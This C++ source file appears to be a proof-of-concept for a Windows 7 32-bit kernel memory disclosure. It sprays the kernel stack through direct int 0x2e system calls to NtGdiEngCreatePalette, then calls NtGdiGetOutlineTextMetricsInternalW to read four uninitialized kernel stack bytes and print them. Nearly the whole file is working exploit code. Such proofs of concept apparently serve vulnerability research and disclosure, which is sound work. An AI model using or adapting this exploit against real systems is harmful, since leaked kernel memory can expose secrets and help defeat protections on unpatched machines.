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#include <Windows.h>
#include <cstdio>

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

// Own implementation of memset(), which guarantees no data is spilled on the local stack.
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c;

  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  SystemCall32(__NR_NtGdiEngCreatePalette, 1, sizeof(buffer) / sizeof(DWORD), buffer, 0, 0, 0);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiGetOutlineTextMetricsInternalW = 0x10c6;

  // Create a Device Context.
  HDC hdc = CreateCompatibleDC(NULL);

  // Create a TrueType font.
  HFONT hfont = CreateFont(10,                  // nHeight
                           10,                  // nWidth
                           0,                   // nEscapement
                           0,                   // nOrientation
                           FW_DONTCARE,         // fnWeight
                           FALSE,               // fdwItalic
                           FALSE,               // fdwUnderline
                           FALSE,               // fdwStrikeOut
                           ANSI_CHARSET,        // fdwCharSet
                           OUT_DEFAULT_PRECIS,  // fdwOutputPrecision
                           CLIP_DEFAULT_PRECIS, // fdwClipPrecision
                           DEFAULT_QUALITY,     // fdwQuality
                           FF_DONTCARE,         // fdwPitchAndFamily
                           L"Times New Roman");

  // Select the font into the DC.
  SelectObject(hdc, hfont);

  // Spray the kernel stack to get visible results.
  SprayKernelStack();

  // Read the 4 uninitialized kernel stack bytes and print them on screen.
  DWORD output[2] = { /* zero padding */ };
  if (!SystemCall32(__NR_NtGdiGetOutlineTextMetricsInternalW, hdc, 0, NULL, output)) {
    printf("NtGdiGetOutlineTextMetricsInternalW failed\n");
    DeleteObject(hfont);
    DeleteDC(hdc);
    return 1;
  }

  printf("Data read: %x\n", output[1]);

  // Free resources.
  DeleteObject(hfont);
  DeleteDC(hdc);

  return 0;
}